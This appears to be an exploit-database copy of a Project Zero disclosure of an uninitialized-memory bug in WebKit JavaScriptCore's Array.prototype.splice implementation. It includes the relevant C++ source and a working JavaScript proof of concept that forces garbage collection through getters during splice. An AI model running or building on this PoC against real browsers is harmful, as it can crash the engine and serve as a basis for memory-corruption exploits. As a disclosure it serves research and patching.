WebKit JSC - 'arrayProtoFuncSplice' Uninitialized Memory Reference

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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1234
 
Here's a snippet of arrayProtoFuncSplice.
 
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...
 
            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (UNLIKELY(!result)) {
                throwOutOfMemoryError(exec, scope);
                return encodedJSValue();
            }
 
            // The result can have an ArrayStorage indexing type if we're having a bad time.
            bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
            bool success = false;
            if (UNLIKELY(isArrayStorage)) {
                static const bool needToFillHolesManually = true;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            } else {
                ASSERT(hasUndecided(result->indexingType()));
                static const bool needToFillHolesManually = false;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            }
            if (UNLIKELY(!success)) {
                ASSERT(scope.exception());
                return encodedJSValue();
            }
    ...
}
 
|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.
 
PoC:
-->
 
function gc() {
    for (let i = 0; i < 4; i++)
        new ArrayBuffer(0x1000000);
}
 
Array.prototype.__defineGetter__(1000, () => 0);
 
for (let i = 0; i < 0x1000; i++)
    new Array(0x10).fill([{}, {}, {}, {}]);
 
for (let i = 0; i < 0x1000; i++) {
    let x = {length: 0x10};
    x.__defineGetter__(0, () => gc());
    Array.prototype.splice.call(x, 0);
}